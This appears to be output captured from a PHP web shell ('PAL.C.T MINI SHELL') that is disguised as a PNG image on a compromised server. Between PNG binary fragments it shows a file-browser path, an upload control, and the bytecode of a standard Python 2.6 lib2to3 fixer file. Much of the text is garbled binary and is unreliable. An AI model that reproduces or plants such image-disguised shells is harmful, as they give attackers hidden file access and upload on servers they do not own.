php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/lib2to3/fixes/
upload
files >> //usr/lib/python2.6/lib2to3/fixes/fix_tuple_params.pyc

Lc@sdZddklZddklZddklZddklZlZl	Z	l
Z
lZlZdZ
deifdYZd	Zd
Zgd
dZdZd
S(s:Fixer for function definitions with tuple parameters.

def func(((a, b), c), d):
    ...

    ->

def func(x, d):
    ((a, b), c) = x
    ...

It will also support lambdas:

    lambda (x, y): x + y -> lambda t: t[0] + t[1]

    # The parens are a syntax error in Python 3
    lambda (x): x + y -> lambda x: x + y
i(tpytree(ttoken(t
fixer_base(tAssigntNametNewlinetNumbert	SubscripttsymscCs*t|tio|iditijS(Ni(t
isinstanceRtNodetchildrenttypeRtSTRING(tstmt((s4/usr/lib/python2.6/lib2to3/fixes/fix_tuple_params.pytis_docstringstFixTupleParamscBs eZdZdZdZRS(s
              funcdef< 'def' any parameters< '(' args=any ')' >
                       ['->' any] ':' suite=any+ >
              |
              lambda=
              lambdef< 'lambda' args=vfpdef< '(' inner=any ')' >
                       ':' body=any
              >
              cs@d|joi||Sg|d}|d}|diditijo'd}|didi}tn"d}d}titidt	fd	}|it
ijo||ne|it
ijoQxNt
|iD]9\}}	|	it
ijo||	d
|djqqWnpdSxD]}
|d|
_qNW|}|djodd_n4t|di|o|d_|d}nxD]}
|d|
_qW|di||+x=t|d|tdD]}||di|_qW|didS(Ntlambdatsuitetargsiiiu; ucsti}|i}d|_t||i}|o
d|_n|i|itit	i
|igdS(Nuu (Rtnew_nametclonetprefixRtreplacetappendRR
Rtsimple_stmt(t	tuple_argt
add_prefixtntargR(t	new_linestendtself(s4/usr/lib/python2.6/lib2to3/fixes/fix_tuple_params.pythandle_tuple?s	

Ru (ttransform_lambdaRRRtINDENTtvalueRRtLeaftFalseRttfpdeft
typedargslistt	enumeratetparentRRtrangetlentchanged(R tnodetresultsRRtstarttindentR!tiRtlinetafter((RR Rs4/usr/lib/python2.6/lib2to3/fixes/fix_tuple_params.pyt	transform*sN



"

"cCs[|d}|d}t|d}|itijo'|i}d|_|i|dSt|}t|}|i	t
|}t|dd}	|i|	ix|iD]}
|
itijo}|
i
|jomg}||
i
D]}||iq~}
titi|	ig|
}|
i|_|
i|qqWdS(NRtbodytinneru R(t
simplify_argsRRtNAMERRRtfind_paramstmap_to_indexRt
tuple_nameRt
post_orderR$RR
Rtpower(R R.R/RR6R7tparamstto_indexttup_namet	new_paramRt_[1]tct
subscriptstnew((s4/usr/lib/python2.6/lib2to3/fixes/fix_tuple_params.pyR"js*

	

#.(t__name__t
__module__tPATTERNR5R"(((s4/usr/lib/python2.6/lib2to3/fixes/fix_tuple_params.pyRs		@cCsu|ititifjo|S|itijo-x%|itijo|id}q7W|Std|dS(NisReceived unexpected node %s(RRtvfplistRR9tvfpdefRtRuntimeError(R.((s4/usr/lib/python2.6/lib2to3/fixes/fix_tuple_params.pyR8scCs|itijot|idS|itijo|iSg}|iD]*}|itijo|t|qNqN~S(Ni(	RRRKR:RRR9R$tCOMMA(R.RCRD((s4/usr/lib/python2.6/lib2to3/fixes/fix_tuple_params.pyR:s
cCs|djo
h}nxjt|D]\\}}ttt|g}t|tot||d|q$||||<q$W|S(Ntd(tNoneR)RRtunicodeR	tlistR;(t
param_listRRNR2tobjttrailer((s4/usr/lib/python2.6/lib2to3/fixes/fix_tuple_params.pyR;s


cCsXg}xB|D]:}t|to|it|q
|i|q
Wdi|S(Nu_(R	RQRR<tjoin(RRtlRS((s4/usr/lib/python2.6/lib2to3/fixes/fix_tuple_params.pyR<sN(t__doc__tRtpgen2RRt
fixer_utilRRRRRRRtBaseFixRR8R:ROR;R<(((s4/usr/lib/python2.6/lib2to3/fixes/fix_tuple_params.pyt<module>s.	h		
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`